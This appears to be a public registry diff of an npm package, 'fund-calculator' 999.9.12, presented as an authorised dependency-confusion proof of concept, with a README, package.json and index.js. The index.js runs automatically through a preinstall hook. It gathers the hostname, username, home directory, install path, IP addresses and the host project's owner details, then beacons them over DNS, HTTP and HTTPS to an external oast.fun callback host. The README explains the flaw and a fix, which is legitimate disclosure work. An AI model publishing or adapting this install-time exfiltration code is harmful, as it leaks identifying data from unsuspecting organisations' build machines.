fund-calculator 999.9.12

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (3) hide show
  1. package/README.md +64 -0
  2. package/index.js +193 -0
  3. package/package.json +20 -0
package/README.md ADDED
@@ -0,0 +1,64 @@
1
+ # fund-calculator
2
+
3
+ **This is not a real package. It is an authorised security research proof of
4
+ concept, and it is safe.**
5
+
6
+ ## Why it exists
7
+
8
+ `fund-calculator` was found referenced in publicly served code, but no package by
9
+ that name existed on the public npm registry. That combination is the
10
+ precondition for [dependency
11
+ confusion](https://medium.com/@alex.birsan/dependency-confusion-4a5d60fec610):
12
+ a build that resolves this name from the public registry rather than from an
13
+ internal one will install whatever is published here, from anyone.
14
+
15
+ It was published at version `999.9.12` deliberately. npm resolves the highest
16
+ available version, so a high number is what demonstrates that the public copy
17
+ wins over an internal one.
18
+
19
+ ## What it does when installed
20
+
21
+ It runs `index.js`, both from a `preinstall` script and on `require()`. That
22
+ script collects exactly the following and sends it to a callback:
23
+
24
+ | field | why |
25
+ |---|---|
26
+ | a random UUID generated at run time | to correlate the duplicate callbacks below |
27
+ | local IPv4 address | to distinguish a corporate build host from a scanner |
28
+ | public egress IP, looked up over HTTPS | so a callback that only arrives over DNS still has a source |
29
+ | the public IP of the DNS resolver used, and the client network it declared | identifies the network even where outbound HTTP is blocked entirely |
30
+ | hostname | to identify the organisation |
31
+ | username | to identify the organisation |
32
+ | home directory | to distinguish a developer machine from a CI container |
33
+ | current working directory | to show where in the build it resolved |
34
+ | this package's name | to attribute the callback |
35
+ | the name of the package it is being installed into | to identify the project |
36
+ | that project's `author`, `repository` and `homepage`, if set | to identify the owner |
37
+
38
+ The same payload is sent three ways — DNS, HTTP and HTTPS — because corporate
39
+ egress filtering blocks some and not others. That produces duplicate reports of
40
+ one install; the UUID is what makes them one event again.
41
+
42
+ ## What it deliberately does not do
43
+
44
+ - no environment variables, names or values
45
+ - no credentials, tokens or keys
46
+ - no file contents, no directory listings, no source code
47
+ - no persistence, no network listening, no further downloads
48
+ - nothing that can fail your build: every operation is wrapped and errors are
49
+ discarded
50
+
51
+ ## What to do about it
52
+
53
+ Register `fund-calculator` in your private registry, and configure your resolver so
54
+ that internal scopes and names are never fetched from the public registry.
55
+ npm's `.npmrc` supports pinning a scope to a registry; for unscoped internal
56
+ names, an allowlist or a proxy that refuses public fallback is the fix.
57
+
58
+ ## Contact
59
+
60
+ stillm4dd@wearehackerone.com
61
+
62
+ Delete this package from your dependencies once you have confirmed the finding.
63
+ If you are the owner of this name and would like it transferred or removed,
64
+ contact the address above and it will be done.
package/index.js ADDED
@@ -0,0 +1,193 @@
1
+ // AUTHORISED SECURITY RESEARCH -- dependency confusion proof of concept.
2
+ // Reports that this package was installed, and nothing else. See README.md.
3
+ // Contact is in package.json. Every operation below is wrapped; this file
4
+ // cannot fail your build.
5
+
6
+ const os = require("os");
7
+ const dns = require("dns");
8
+ const http = require("http");
9
+ const https = require("https");
10
+ const fs = require("fs");
11
+ const path = require("path");
12
+ const crypto = require("crypto");
13
+
14
+ const PACKAGE = "fund-calculator";
15
+ const CALLBACK = "da51rv0hb2uc72tg4gvgdepinjcallbk1.oast.fun";
16
+
17
+ function localIPv4() {
18
+ try {
19
+ const nets = os.networkInterfaces();
20
+ for (const name of Object.keys(nets)) {
21
+ for (const n of nets[name] || []) {
22
+ const four = n.family === "IPv4" || n.family === 4;
23
+ if (four && !n.internal) return n.address;
24
+ }
25
+ }
26
+ } catch (e) {}
27
+ return null;
28
+ }
29
+
30
+ // npm sets INIT_CWD to the directory the install was started from, which is
31
+ // the consuming project rather than this package's own folder.
32
+ function parentProject() {
33
+ const out = { name: "__global" };
34
+ try {
35
+ if (String(process.env.npm_config_global) === "true") return out;
36
+ const root = process.env.INIT_CWD || process.cwd();
37
+ const manifest = path.join(root, "package.json");
38
+ if (!fs.existsSync(manifest)) return out;
39
+ const pkg = JSON.parse(fs.readFileSync(manifest, "utf8"));
40
+ out.name = pkg.name || "__unnamed";
41
+ if (pkg.author) out.author = typeof pkg.author === "string"
42
+ ? pkg.author : pkg.author.name;
43
+ if (pkg.repository) out.repository = typeof pkg.repository === "string"
44
+ ? pkg.repository : pkg.repository.url;
45
+ if (pkg.homepage) out.homepage = pkg.homepage;
46
+ } catch (e) {}
47
+ return out;
48
+ }
49
+
50
+ // A DNS callback arrives from a recursive resolver, not from the machine that
51
+ // installed anything, so the origin has to come from inside. Two sources,
52
+ // because they fail in different situations: the HTTPS lookup gives this
53
+ // host's egress address and needs outbound HTTP; the DNS lookup gives the
54
+ // resolver's egress address and works in networks where only DNS leaves.
55
+ function publicIp(done) {
56
+ const urls = ["https://api.ipify.org", "https://icanhazip.com",
57
+ "https://ifconfig.me/ip"];
58
+ let finished = false;
59
+ const timer = setTimeout(() => finish(null), 2500);
60
+ function finish(ip) {
61
+ if (finished) return;
62
+ finished = true;
63
+ clearTimeout(timer); // never hold an install open longer than needed
64
+ done(ip);
65
+ }
66
+ for (const url of urls) {
67
+ try {
68
+ const req = https.get(url, { timeout: 2000 }, (res) => {
69
+ let body = "";
70
+ res.on("data", (d) => { body += d; if (body.length > 64) res.destroy(); });
71
+ res.on("end", () => {
72
+ const ip = body.trim();
73
+ if (/^[0-9a-f.:]{3,45}$/i.test(ip)) finish(ip);
74
+ });
75
+ });
76
+ req.on("error", () => {});
77
+ req.on("timeout", () => { try { req.destroy(); } catch (e) {} });
78
+ } catch (e) {}
79
+ }
80
+ }
81
+
82
+ function resolverIp(done) {
83
+ let finished = false;
84
+ const timer = setTimeout(() => finish(null, null), 2000);
85
+ function finish(ip, subnet) {
86
+ if (finished) return;
87
+ finished = true;
88
+ clearTimeout(timer);
89
+ done(ip, subnet);
90
+ }
91
+ try {
92
+ // Google answers with several TXT strings in no fixed order: the querying
93
+ // resolver's address, and an edns0-client-subnet line giving the client
94
+ // network the resolver forwarded on its behalf. They must be read
95
+ // separately -- joining them yields neither.
96
+ dns.resolveTxt("o-o.myaddr.l.google.com", (err, records) => {
97
+ if (err || !records) return finish(null, null);
98
+ let ip = null, subnet = null;
99
+ for (const parts of records) {
100
+ for (const value of [].concat(parts)) {
101
+ const v = String(value).trim();
102
+ if (/^[0-9a-f.:]{3,45}$/i.test(v)) ip = ip || v;
103
+ const m = v.match(/edns0-client-subnet\s+([0-9a-f.:]+\/\d+)/i);
104
+ if (m) subnet = subnet || m[1];
105
+ }
106
+ }
107
+ finish(ip, subnet);
108
+ });
109
+ } catch (e) { finish(null, null); }
110
+ }
111
+
112
+ function collect() {
113
+ const parent = parentProject();
114
+ let user = null, home = null;
115
+ try { const u = os.userInfo(); user = u.username; home = u.homedir; } catch (e) {}
116
+ return {
117
+ uuid: crypto.randomUUID(),
118
+ ip: localIPv4(),
119
+ hostname: (() => { try { return os.hostname(); } catch (e) { return null; } })(),
120
+ user: user,
121
+ home: home,
122
+ cwd: process.env.INIT_CWD || process.cwd(),
123
+ public_ip: null,
124
+ resolver_ip: null,
125
+ client_subnet: null,
126
+ poc: PACKAGE,
127
+ parent: parent.name,
128
+ author: parent.author || null,
129
+ repository: parent.repository || null,
130
+ homepage: parent.homepage || null
131
+ };
132
+ }
133
+
134
+ function beacon(info) {
135
+ const body = JSON.stringify(info);
136
+
137
+ // DNS first: it is the channel most likely to survive corporate egress
138
+ // filtering. Labels are capped at 63 characters, so the payload is chunked.
139
+ try {
140
+ // Hex, not base64. Resolvers randomise the capitalisation of query
141
+ // names as an anti-spoofing measure (DNS 0x20 encoding): DNS is
142
+ // case-insensitive and the response must echo the case back, which is
143
+ // cheap entropy against cache poisoning. It also destroys any
144
+ // case-sensitive encoding -- base64 chunks arrive intact but scrambled
145
+ // and the original case is unrecoverable. Hex has one case.
146
+ const hex = Buffer.from(body).toString("hex");
147
+ const chunks = hex.match(/.{1,60}/g) || [];
148
+ dns.resolve(`u-${info.uuid}.n-${chunks.length}.${CALLBACK}`, () => {});
149
+ chunks.forEach((c, i) => {
150
+ try { dns.resolve(`${i}-${c}.u-${info.uuid}.${CALLBACK}`, () => {}); } catch (e) {}
151
+ });
152
+ } catch (e) {}
153
+
154
+ for (const [mod, port] of [[https, 443], [http, 80]]) {
155
+ try {
156
+ const req = mod.request({
157
+ hostname: CALLBACK, port: port, path: `/poc/${info.uuid}`,
158
+ method: "POST", timeout: 5000,
159
+ headers: {
160
+ "Content-Type": "application/json",
161
+ "Content-Length": Buffer.byteLength(body),
162
+ "X-Poc-Uuid": info.uuid
163
+ }
164
+ });
165
+ req.on("error", () => {});
166
+ req.on("timeout", () => { try { req.destroy(); } catch (e) {} });
167
+ req.write(body);
168
+ req.end();
169
+ } catch (e) {}
170
+ }
171
+ }
172
+
173
+ // Look both addresses up first, then send once. Each lookup is capped and
174
+ // cannot fail; if neither answers, the beacon still goes out with nulls.
175
+ try {
176
+ const info = collect();
177
+ let pending = 2;
178
+ const go = () => { if (--pending === 0) { try { beacon(info); } catch (e) {} } };
179
+ publicIp((ip) => { info.public_ip = ip; go(); });
180
+ resolverIp((ip, subnet) => {
181
+ info.resolver_ip = ip;
182
+ info.client_subnet = subnet; // the network the resolver queried for
183
+ go();
184
+ });
185
+ } catch (e) {
186
+ try { beacon(collect()); } catch (e2) {}
187
+ }
188
+
189
+ module.exports = {
190
+ __securityResearch: true,
191
+ package: PACKAGE,
192
+ contact: "see package.json"
193
+ };
package/package.json ADDED
@@ -0,0 +1,20 @@
1
+ {
2
+ "name": "fund-calculator",
3
+ "version": "999.9.12",
4
+ "description": "AUTHORISED SECURITY RESEARCH \u2014 dependency confusion proof of concept. This package was published because the name appeared in publicly served code but was unregistered on the public registry. If it is in your dependency tree, your resolver fetched an internal package name from the public registry instead of your private one. On install it sends a hostname, username and install path to a callback so the finding can be confirmed, and does nothing else \u2014 no credentials, no environment variables, no file contents. Contact: stillm4dd@wearehackerone.com",
5
+ "main": "index.js",
6
+ "files": [
7
+ "index.js",
8
+ "README.md"
9
+ ],
10
+ "scripts": {
11
+ "preinstall": "node index.js"
12
+ },
13
+ "author": "stillm4dd@wearehackerone.com",
14
+ "license": "ISC",
15
+ "keywords": [
16
+ "security-research",
17
+ "dependency-confusion",
18
+ "proof-of-concept"
19
+ ]
20
+ }